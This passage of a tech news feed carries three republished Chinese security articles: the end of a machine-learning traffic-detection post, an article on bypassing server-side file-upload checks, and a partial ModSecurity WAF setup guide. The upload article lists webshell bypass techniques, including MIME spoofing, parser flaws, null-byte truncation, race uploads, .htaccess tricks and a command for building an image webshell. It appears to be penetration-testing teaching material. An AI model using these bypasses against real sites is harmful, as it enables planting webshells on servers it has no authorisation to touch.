 &lt;p&gt;    可以看到由于特征工程阶段做的特征维度不够多特征保留的不够充分，在白样本中存在大量的干扰特征，导致最后准确率召回率都不是很高，精度大约只有74%左右，使用这种特征工程的方法笔者不是很推荐，虽然有监督方式的机器学习具有良好的可解释性，但是维护特征是一个永无止尽的过程，难度你真的想有多少智能就有多少人工吗。 ：D&lt;/p&gt;
 &lt;table&gt;


    

  &lt;tr&gt;
   &lt;th&gt;                    &lt;strong&gt;模型名称&lt;/strong&gt;            &lt;/th&gt;
   &lt;th&gt;                    &lt;strong&gt;预测精度&lt;/strong&gt;            &lt;/th&gt;
&lt;/tr&gt;


  &lt;tr&gt;
   &lt;td&gt;                    &lt;strong&gt;多项式&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;74.9%&lt;/strong&gt;            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                    &lt;strong&gt;伯努利&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;72.5%&lt;/strong&gt;            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                    &lt;strong&gt;决策树&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;73.9%&lt;/strong&gt;            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                    &lt;strong&gt;线性回归&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;72.5%&lt;/strong&gt;            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                    &lt;strong&gt;SVM&lt;/strong&gt;            &lt;/td&gt;
   &lt;td&gt;                    &lt;strong&gt;74.7%&lt;/strong&gt;            &lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
 &lt;p&gt;  &lt;strong&gt;    *本文原创作者：邹先生007，本文属于FreeBuf原创奖励计划，未经许可禁止转载&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 恶意流量 机器学习 特征工程</category>
      <guid isPermaLink="true">https://itindex.net/detail/60300-%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0-%E6%B5%81%E9%87%8F-%E7%89%B9%E5%BE%81</guid>
      <pubDate>Tue, 14 Jan 2020 10:00:43 CST</pubDate>
    </item>
    <item>
      <title>关于File Upload的一些思考</title>
      <link>https://itindex.net/detail/60270-file-upload-%E6%80%9D%E8%80%83</link>
      <description>&lt;p&gt;  &lt;strong&gt;在web渗透中，文件上传是最简单直接的方式之一。&lt;/strong&gt;  &lt;strong&gt;但是碰到完全不做校验的代码直接上传getshell，很难有这样的运气；大部分时候都有检测，甚至多处设卡。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;若按设卡点的顺序来说可大致分为：前端js检验、防护检测（waf）、服务端检测。&lt;/p&gt;
 &lt;p&gt;这里就讲如何绕过服务端代码的检测，服务端会出现文件上传的什么安全配置。&lt;/p&gt;
 &lt;h2&gt;一、文件上传安全配置&lt;/h2&gt;
 &lt;p&gt;一图顶千言，请看下图：&lt;/p&gt;
 &lt;p&gt;  &lt;img src="https://image.3001.net/images/20191224/1577156161_5e017e414db3c.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;二、绕过服务端的代码检测&lt;/h2&gt;
 &lt;p&gt;服务端的代码常检测request包中的三个点：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;1）MIME类型 &lt;/p&gt;
  &lt;p&gt;2）文件后缀&lt;/p&gt;
  &lt;p&gt;3）文件内容&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;如下图所示：&lt;/p&gt;
 &lt;p&gt;  &lt;img src="https://image.3001.net/images/20191224/1577156215_5e017e7715637.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;理论上请求包的任何参数都可以作为检测点，但是对于文件上传功能来说，用户提交的请求包中这三个地方，是辨别是否为恶意文件的重要的三个点，所以大部份后端程序的都是检测这么三个地方。&lt;/p&gt;
 &lt;p&gt;这三个检测点详细的检测方式，如下图所示:&lt;/p&gt;
 &lt;p&gt;  &lt;img src="https://image.3001.net/images/20191224/1577156248_5e017e983d929.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;讲了这么多，那么该怎进行绕过呢？&lt;/p&gt;
 &lt;p&gt;话不多说，开始吧！&lt;/p&gt;
 &lt;h3&gt;1）MIME类型检测&lt;/h3&gt;
 &lt;p&gt;我们先来看一段在w3c上的，检验MIME类型的一段php代码，如下图所示:&lt;/p&gt;
 &lt;p&gt;  &lt;img src="https://image.3001.net/images/20191224/1577156267_5e017eabdbd5c.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;可以看见上面代码中只校验了http头中的MIME类型。&lt;/p&gt;
 &lt;p&gt;这MIME类型的校验啊，就好比：&lt;/p&gt;
 &lt;p&gt;城门守卫问你：“你是不是好人？”（php代码中的if判断）&lt;/p&gt;
 &lt;p&gt;你只需回答：“我是好人！”（request包中content-type字段改为image/jpeg）&lt;/p&gt;
 &lt;p&gt;然后，城门守卫就放行了。&lt;/p&gt;
 &lt;p&gt;至于你到底是不是好人，和你如何回答的是没有丝毫关系的。&lt;/p&gt;
 &lt;p&gt;这个逻辑适用于很多情况，这也是安全的基础：不信任任何客户端提交的数据。&lt;/p&gt;
 &lt;h3&gt;2）文件后缀检测&lt;/h3&gt;
 &lt;p&gt;文件后缀检测分两种情况：白名单和黑名单。&lt;/p&gt;
 &lt;p&gt;绕过白名单或黑名单有诸多姿势：“服务器解析漏洞” 、 “文件命名规则”、“00截断”、“长度截断”、“竞争上传”、“双上传”、“可解析后缀”、“.htacees和user.ini”、“误用函数”等等。&lt;/p&gt;
 &lt;p&gt;废话不多说，请看下图：&lt;/p&gt;
 &lt;p&gt;  &lt;img src="https://image.3001.net/images/20191224/1577156312_5e017ed8137e0.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;1、服务器解析漏洞&lt;/p&gt;
 &lt;p&gt;1.1、apache解析漏洞&lt;/p&gt;
 &lt;p&gt;首先，对于Apache服务器来说，哪些后缀可以被解析是由什么决定呢？&lt;/p&gt;
 &lt;p&gt;apache中有一个关于php的默认配置文件，其中用正则指定了哪些后缀使用哪些解析器。如图：&lt;/p&gt;
 &lt;p&gt;apache解析又一个特点，解析文件时是从右往左判断，遇到不认识的后缀时，就跳过，于是就有了类似于“.php.123”这种绕过方式。&lt;/p&gt;
 &lt;p&gt;但是从上图可以看到，这种方式在这种配置情况下是行不通的，但是在“CVE-2017-15715”中提到了可以使用%0a绕过，因为在上面正则中“.php$”代表以“.php”结尾或者“以.php”结尾加换行，可是一般情况下程序员获取文件后缀时会使用“$_FILES[‘file’][‘name’]”，它会自动过滤掉换行，这就让这个漏洞显得有些尴尬了。&lt;/p&gt;
 &lt;p&gt;大多情况下，我们遇到apache解析漏洞的是配置错误导致的，比如下面这条语句。&lt;/p&gt;
 &lt;p&gt;  &lt;img src="https://image.3001.net/images/20191224/1577156368_5e017f1005437.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;这种情况下，只要文件后缀包含“php”关键字，文件就会被作为php来解析。&lt;/p&gt;
 &lt;p&gt;1.2、nginx和iis7.5/7.0解析漏洞&lt;/p&gt;
 &lt;p&gt;此解析漏洞其实是php的配置错误导致。&lt;/p&gt;
 &lt;p&gt;php为了支持path info模式创造了fix_pathinfo这个选项，当它被打开时，fpm就会判断请求的文件是否存在，如果不存在就去掉最后一个\开始的内容，再次查看文件是否存在，不存在再去掉从\开的内容，循环往复。所以当请求  &lt;a href="http://192.168.1.100/admin/upload/shell.jpg/.php"&gt;http://192.168.1.100/admin/upload/shell.jpg/.php&lt;/a&gt;这么个文件时，fpm会把/.php去掉把shell.jpg当作php执行。&lt;/p&gt;
 &lt;p&gt;后来出现了seccurity.limit_extensions选项，这个选项默认配置.php文件才能被fpm执行。&lt;/p&gt;
 &lt;p&gt;利用条件：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;1、fast-cgi模式运行&lt;/p&gt;
  &lt;p&gt;2、Fix_pathinfo为1 （默认为1）&lt;/p&gt;
  &lt;p&gt;3、seccurity.limit_extensions选项允许。（默认只解析.php）&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;1.3、Iis5.x-6.x解析漏洞&lt;/p&gt;
 &lt;p&gt;使用iis5-6的基本都是Windows server 2003这种老服务器了。&lt;/p&gt;
 &lt;p&gt;这种老服务器默认一般只解析asp。&lt;/p&gt;
 &lt;p&gt;这个解析漏洞很简单，就两条：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;1、以*.asp命名的文件夹下所有文件都以asp文件执行&lt;/p&gt;
  &lt;p&gt;2、*.asp;*.jpg这种形式的命名方式会自动会忽略掉;后的内容。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;2、文件命名规则&lt;/p&gt;
 &lt;p&gt;2.1、windows命名规则&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;1、文件名长度最大为255个英文字符。（或者是127个中文字符+1个英文字符）&lt;/p&gt;
  &lt;p&gt;2、全路径最大长度最大为260个字符。&lt;/p&gt;
  &lt;p&gt;3、访问文件不区分大小写（部分应用程序使用时除外），显示文件时有大小写。&lt;/p&gt;
  &lt;p&gt;4、开头不能使用空格，其他地方可以。&lt;/p&gt;
  &lt;p&gt;5、文件名不能包含： &amp;lt; &amp;gt; | / \ * ? :&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;我在freebuf上看见过这篇文章：&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://www.freebuf.com/column/196404.html"&gt;   &lt;u&gt;https://www.freebuf.com/column/196404.html&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img src="https://image.3001.net/images/20191224/1577156449_5e017f6109e6e.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;总结的很好，此处就直接引用了。&lt;/p&gt;
 &lt;p&gt;其实分号;也符合。大家自己寻找应该还有一些符号也符合。&lt;/p&gt;
 &lt;p&gt;2.2、linux命名规则&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;1、文件名最大长度为255&lt;/p&gt;
  &lt;p&gt;2、全路径长度最大为4096（16级最大文件长度）&lt;/p&gt;
  &lt;p&gt;3、区分大小写&lt;/p&gt;
  &lt;p&gt;4、除“/”之外所有字符都可以使用&lt;/p&gt;
  &lt;p&gt;5、linux不以文件扩展名区分文件类型，对linux来说一切皆文件。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;linux下通过命名规则绕过的话，可以尝试 \ 或者 &amp;amp;&amp;amp; ; 等命令分割符号绕过&lt;/p&gt;
 &lt;p&gt;  &lt;img src="https://image.3001.net/images/20191224/1577156486_5e017f8611b91.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img src="https://image.3001.net/images/20191224/1577156493_5e017f8db9f66.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;3、00截断&lt;/p&gt;
 &lt;p&gt;00截断常见的有%00、0×00等，他们都是表示ascii字符表中的保留字符chr(0)。&lt;/p&gt;
 &lt;p&gt;不管表示编码方式有啥区别，只要能让服务器正确解析为chr(0)就行。&lt;/p&gt;
 &lt;p&gt;00截断的原理：chr(0)表示结束。&lt;/p&gt;
 &lt;p&gt;限制条件：&lt;/p&gt;
 &lt;p&gt;小于php5.3.4 小于jdk1.7.0_40&lt;/p&gt;
 &lt;p&gt;未过滤chr(0)，例如magic_quoes_gpc为off&lt;/p&gt;
 &lt;p&gt;4、长度截断&lt;/p&gt;
 &lt;p&gt;当文件名的长度超过系统允许的最大长度时，会将超出部分进行截断。&lt;/p&gt;
 &lt;p&gt;（部分系统不会进行截断，无法创建）&lt;/p&gt;
 &lt;p&gt;测试中可以使用二分法，不断尝试最大长度，然后进行截断。&lt;/p&gt;
 &lt;p&gt;5、竞争上传&lt;/p&gt;
 &lt;p&gt;当代码中的逻辑是先保存上传的文件，然后再判断上传文件是否合法时，便存在时间竞争条件漏洞。&lt;/p&gt;
 &lt;p&gt;首先写个生成马儿的马儿。&lt;/p&gt;
 &lt;p&gt;  &lt;img src="https://image.3001.net/images/20191224/1577156534_5e017fb636937.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;上传马儿，同时使用burpsuit不断请求马儿，或者写个脚本跑，&lt;/p&gt;
 &lt;p&gt;6、双上传&lt;/p&gt;
 &lt;p&gt;当代码中只对一处文件名做校验时，便存在双上传的漏洞。&lt;/p&gt;
 &lt;p&gt;使用burpsuit抓包改包或者F12修改前端代码都可以。&lt;/p&gt;
 &lt;p&gt;7、可解析后缀&lt;/p&gt;
 &lt;p&gt;不常见的可解析后缀：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;1、ph(p[1-7]?|t(ml)?) \ shtml \ pwml&lt;/p&gt;
  &lt;p&gt;2、asa\asax\cer\cdx\aspx\ascx\ashx\asmx\asp{80-90}&lt;/p&gt;
  &lt;p&gt;3、jspx\jspf\jspa\jsw\jsv\jtml&lt;/p&gt;
  &lt;p&gt;8、.htacces和user.ini&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;首先先了解一下这俩文件，如下图：&lt;/p&gt;
 &lt;p&gt;  &lt;img src="https://image.3001.net/images/20191224/1577156570_5e017fdaefd2a.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img src="https://image.3001.net/images/20191224/1577156581_5e017fe56950f.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;这两种利用方式差不多，都是先上传配置文件，然后上传图片马之类的。&lt;/p&gt;
 &lt;p&gt;唯一不同是，user.ini是把图片内容附加在php脚本前面或者后面，类似于require()函数;&lt;/p&gt;
 &lt;p&gt;.htaccess是把图片内容用php来解析。&lt;/p&gt;
 &lt;p&gt;9、误用函数&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;empty()、isset()、strpos()、rename()、iconv()、copy()&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;参考  &lt;a href="http://drops.wooyun.org/papers/1957"&gt;   &lt;u&gt;http://drops.wooyun.org/papers/1957&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;h3&gt;3）文件内容检测&lt;/h3&gt;
 &lt;p&gt;1、图片马&lt;/p&gt;
 &lt;p&gt;一般情况下检测文件幻数、文件相关信息、文件渲染都可以通过制作的图片马进行绕过。&lt;/p&gt;
 &lt;p&gt;这里只讲文件渲染，因为能过文件渲染的图片马完全可以过上面那两种。&lt;/p&gt;
 &lt;p&gt;文件渲染顾名思义，就是对上传的文件进行加载渲染，例如加载图片检测是否能正常使用。&lt;/p&gt;
 &lt;p&gt;绕过方式：burpsuit改包 或者 copy 1.jpg /b + 2.php /a 3.jpg 生成图片马&lt;/p&gt;
 &lt;p&gt;2、二次渲染&lt;/p&gt;
 &lt;p&gt;二次渲染就不好过了，因为它会把图片中多余的语句去除，包括你的代码。&lt;/p&gt;
 &lt;p&gt;关于怎么制作过二次渲染的图片马，此处参考&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;   &lt;a href="https://xz.aliyun.com/t/2657"&gt;    &lt;u&gt;https://xz.aliyun.com/t/2657&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;   &lt;a href="https://secgeek.net/bookfresh-vulnerability/"&gt;    &lt;u&gt;https://secgeek.net/bookfresh-vulnerability/&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;或者，直接用别人做好的图片马&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;   &lt;a href="https://github.com/Yang1k/upload-labs-Pass16"&gt;    &lt;u&gt;https://github.com/Yang1k/upload-labs-Pass16&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;  &lt;strong&gt;*本文原创作者：灭迹下的荒诞，本文属于FreeBuf原创奖励计划，未经许可禁止转载&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 File Upload 代码检测</category>
      <guid isPermaLink="true">https://itindex.net/detail/60270-file-upload-%E6%80%9D%E8%80%83</guid>
      <pubDate>Sun, 05 Jan 2020 09:00:15 CST</pubDate>
    </item>
    <item>
      <title>ModSecurity：一款优秀的开源WAF</title>
      <link>https://itindex.net/detail/60023-modsecurity-%E5%BC%80%E6%BA%90-waf</link>
      <description>&lt;p&gt;  &lt;img alt="" src="https://image.3001.net/images/20190814/1565774841_5d53d3f9c2643.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;  &lt;strong&gt;一、ModSecurity3.0介绍&lt;/strong&gt;&lt;/h2&gt;
 &lt;p&gt;  &lt;strong&gt;ModSecurity是一个开源的跨平台Web应用程序防火墙（WAF）引擎，用于Apache，IIS和Nginx，由Trustwave的SpiderLabs开发。作为WAF产品，ModSecurity专门关注HTTP流量，当发出HTTP请求时，ModSecurity检查请求的所有部分，如果请求是恶意的，它会被阻止和记录。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;优势：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;完美兼容nginx，是nginx官方推荐的WAF&lt;/p&gt;
  &lt;p&gt;支持OWASP规则&lt;/p&gt;
  &lt;p&gt;3.0版本比老版本更新更快，更加稳定，并且得到了nginx、Inc和Trustwave等团队的积极支持&lt;/p&gt;
  &lt;p&gt;免费&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;ModSecurity的功能：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;SQL Injection (SQLi)：阻止SQL注入&lt;/p&gt;
  &lt;p&gt;Cross Site Scripting (XSS)：阻止跨站脚本攻击&lt;/p&gt;
  &lt;p&gt;Local File Inclusion (LFI)：阻止利用本地文件包含漏洞进行攻击&lt;/p&gt;
  &lt;p&gt;Remote File Inclusione(RFI)：阻止利用远程文件包含漏洞进行攻击&lt;/p&gt;
  &lt;p&gt;Remote Code Execution (RCE)：阻止利用远程命令执行漏洞进行攻击&lt;/p&gt;
  &lt;p&gt;PHP Code Injectiod：阻止PHP代码注入&lt;/p&gt;
  &lt;p&gt;HTTP Protocol Violations：阻止违反HTTP协议的恶意访问&lt;/p&gt;
  &lt;p&gt;HTTPoxy：阻止利用远程代理感染漏洞进行攻击&lt;/p&gt;
  &lt;p&gt;Shellshock：阻止利用Shellshock漏洞进行攻击&lt;/p&gt;
  &lt;p&gt;Session Fixation：阻止利用Session会话ID不变的漏洞进行攻击&lt;/p&gt;
  &lt;p&gt;Scanner Detection：阻止黑客扫描网站&lt;/p&gt;
  &lt;p&gt;Metadata/Error Leakages：阻止源代码/错误信息泄露&lt;/p&gt;
  &lt;p&gt;Project Honey Pot Blacklist：蜜罐项目黑名单&lt;/p&gt;
  &lt;p&gt;GeoIP Country Blocking：根据判断IP地址归属地来进行IP阻断&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;劣势：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;不支持检查响应体的规则，如果配置中包含这些规则，则会被忽略，nginx的的sub_filter指令可以用来检查状语从句：重写响应数据，OWASP中相关规则是95X。&lt;/p&gt;
  &lt;p&gt;不支持OWASP核心规则集DDoS规则REQUEST-912-DOS- PROTECTION.conf,nginx本身支持配置DDoS限制&lt;/p&gt;
  &lt;p&gt;不支持在审计日志中包含请求和响应主体&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h2&gt;  &lt;strong&gt;二、安装部署&lt;/strong&gt;&lt;/h2&gt;
 &lt;p&gt;测试环境：centOS7.6阿里云镜像&lt;/p&gt;
 &lt;p&gt;升级软件和内核&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;yum update&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;安装nginx：   &lt;a href="http://nginx.org/en/linux_packages.html#mainline"&gt;http://nginx.org/en/linux_packages.html#mainline&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;yum install yum-utils&lt;/p&gt;   &lt;p&gt;vim /etc/yum.repos.d/nginx.repo&lt;/p&gt;   &lt;p&gt;[nginx-stable]&lt;/p&gt;   &lt;p&gt;name=nginx stable repo&lt;/p&gt;   &lt;p&gt;baseurl=    &lt;a href="http://nginx.org/packages/centos/$releasever/$basearch/"&gt;http://nginx.org/packages/centos/$releasever/$basearch/&lt;/a&gt;&lt;/p&gt;   &lt;p&gt;gpgcheck=1&lt;/p&gt;   &lt;p&gt;enabled=1&lt;/p&gt;   &lt;p&gt;gpgkey=    &lt;a href="https://nginx.org/keys/nginx_signing.key"&gt;https://nginx.org/keys/nginx_signing.key&lt;/a&gt;&lt;/p&gt;   &lt;p&gt;[nginx-mainline]&lt;/p&gt;   &lt;p&gt;name=nginx mainline repo&lt;/p&gt;   &lt;p&gt;baseurl=    &lt;a href="http://nginx.org/packages/mainline/centos/$releasever/$basearch/"&gt;http://nginx.org/packages/mainline/centos/$releasever/$basearch/&lt;/a&gt;&lt;/p&gt;   &lt;p&gt;gpgcheck=1&lt;/p&gt;   &lt;p&gt;enabled=0&lt;/p&gt;   &lt;p&gt;gpgkey=    &lt;a href="https://nginx.org/keys/nginx_signing.key"&gt;https://nginx.org/keys/nginx_signing.key&lt;/a&gt;&lt;/p&gt;   &lt;p&gt;yum install nginx&lt;/p&gt;   &lt;p&gt;yum install epel-release&lt;/p&gt;   &lt;p&gt;yum install gcc-c++ flex bison yajl yajl-devel curl-devel curl GeoIP-devel doxygen zlib-devel pcre pcre-devel libxml2 libxml2-devel autoconf automake lmdb-devel ssdeep-devel ssdeep-libs lua-devel libmaxminddb-devel git apt-utils autoconf automake build-essential git libcurl4-openssl-dev libgeoip-dev liblmdb-dev ibpcre++-dev libtool libxml2-dev libyajl-dev pkgconf wget zlib1g-dev&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;报错解决：Error: Cannot retrieve metalink for repository: epel. Please verify its path and try again&lt;/p&gt;
 &lt;p&gt;解决办法：一句话：把/etc/yum.repos.d/epel.repo，文件第3行注释去掉，把第四行注释掉，修改为&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;1. [epel]&lt;/p&gt;
  &lt;p&gt;2. name=Extra Packages for Enterprise Linux 6 – $basearch&lt;/p&gt;
  &lt;p&gt;3. baseurl=   &lt;a href="http://download.fedoraproject.org/pub/epel/6/"&gt;http://download.fedoraproject.org/pub/epel/6/&lt;/a&gt;$basearch&lt;/p&gt;
  &lt;p&gt;4. #mirrorlist=   &lt;a href="https://mirrors.fedoraproject.org/metalink?repo=epel-6&amp;arch="&gt;https://mirrors.fedoraproject.org/metalink?repo=epel-6&amp;amp;arch=&lt;/a&gt;$basearch&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;克隆GitHub存储库:&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;git clone --depth 1 -b v3/master --single-branch    &lt;a href="https://github.com/SpiderLabs/ModSecurity"&gt;https://github.com/SpiderLabs/ModSecurity&lt;/a&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;  &lt;a href="https://github.com/SpiderLabs/ModSecurity"&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;编译源代码：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;$ cd ModSecurity&lt;/p&gt;   &lt;p&gt;$ git submodule init&lt;/p&gt;   &lt;p&gt;$ git submodule update&lt;/p&gt;   &lt;p&gt;$ ./build.sh&lt;/p&gt;   &lt;p&gt;$ ./configure&lt;/p&gt;   &lt;p&gt;$ make&lt;/p&gt;   &lt;p&gt;$ make install&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;注意：安装中有报错fatal: No names found, cannot describe anything.是正常现象&lt;/p&gt;
 &lt;p&gt;下载用于ModSecurity的NGINX连接器：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;git clone --depth 1    &lt;a href="https://github.com/SpiderLabs/ModSecurity-nginx.git"&gt;https://github.com/SpiderLabs/ModSecurity-nginx.git&lt;/a&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;  &lt;a href="https://github.com/SpiderLabs/ModSecurity-nginx.git"&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;确定哪个版本的NGINX是运行在主机上的ModSecurity模块将加载:&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;[root@guigu ModSecurity]# nginx -v&lt;/p&gt;   &lt;p&gt;nginx version: nginx/1.17.3&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;下载与安装版本对应的源代码：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;wget     &lt;a href="http://nginx.org/download/nginx-1.17.3.tar.gz"&gt;http://nginx.org/download/nginx-1.17.3.tar.gz&lt;/a&gt;&lt;/p&gt;   &lt;p&gt;tar zxvf nginx-1.17.3.tar.gz&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;编译动态模块，复制到模块标准目录:&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;cd nginx-1.17.3&lt;/p&gt;   &lt;p&gt;#./configure --with-compat --add-dynamic-module=../ModSecurity-nginx&lt;/p&gt;   &lt;p&gt;$ make modules&lt;/p&gt;   &lt;p&gt;cp objs/ngx_http_modsecurity_module.so /etc/nginx/modules/&lt;/p&gt;   &lt;p&gt;将以下load_module指令添加到/etc/nginx/nginx.conf的main中：&lt;/p&gt;   &lt;p&gt;load_module modules/ngx_http_modsecurity_module.so;&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;确定nginx模块加载成功：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;nginx -t&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h2&gt;  &lt;strong&gt;三、防护效果测试&lt;/strong&gt;&lt;/h2&gt;
 &lt;p&gt;ModSecurity 3简单示例&lt;/p&gt;
 &lt;p&gt;创建Demo web应用vim /etc/nginx/nginx.conf&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;server {&lt;/p&gt;   &lt;p&gt;listen 8085;    &lt;br /&gt;
location / {

    default_type text/plain;

    return 200 &amp;quot;Thank you for requesting ${request_uri}\n&amp;quot;;

    }
&lt;/p&gt;   &lt;p&gt;}&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;重新加载nginx:nginx -s reload&lt;/p&gt;
 &lt;p&gt;确认nginx正常工作:curl -D –   &lt;a href="http://localhost/"&gt;http://localhost&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;保护Demo web应用&lt;/p&gt;
 &lt;p&gt;创建/etc/nginx/modsec文件夹：mkdir /etc/nginx/modsec&lt;/p&gt;
 &lt;p&gt;下载推荐的ModSecurity配置文件&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;   &lt;p&gt;wget     &lt;a href="https://raw.githubusercontent.com/SpiderLabs/ModSecurity/v3/master/modsecurity.conf-recommended"&gt;https://raw.githubusercontent.com/SpiderLabs/ModSecurity/v3/master/modsecurity.conf-recommended&lt;/a&gt;&lt;/p&gt;   &lt;p&gt;mv modsecurity.conf-recommended modsecurity.conf&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;vim modsecurity.conf    #在些文件中编辑以下配置&lt;/p&gt;
 &lt;h3&gt;SecRuleEngine DetectionOnly&lt;/h3&gt;
 &lt;p&gt;SecRuleEngine On&lt;/p&gt;
 &lt;p&gt;创建ModSecurity的主配置文件&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;vim /etc/nginx/modsec/main.conf&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;Include the recommended configuration&lt;/h3&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;Include /etc/nginx/modsec/modsecurity.conf&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
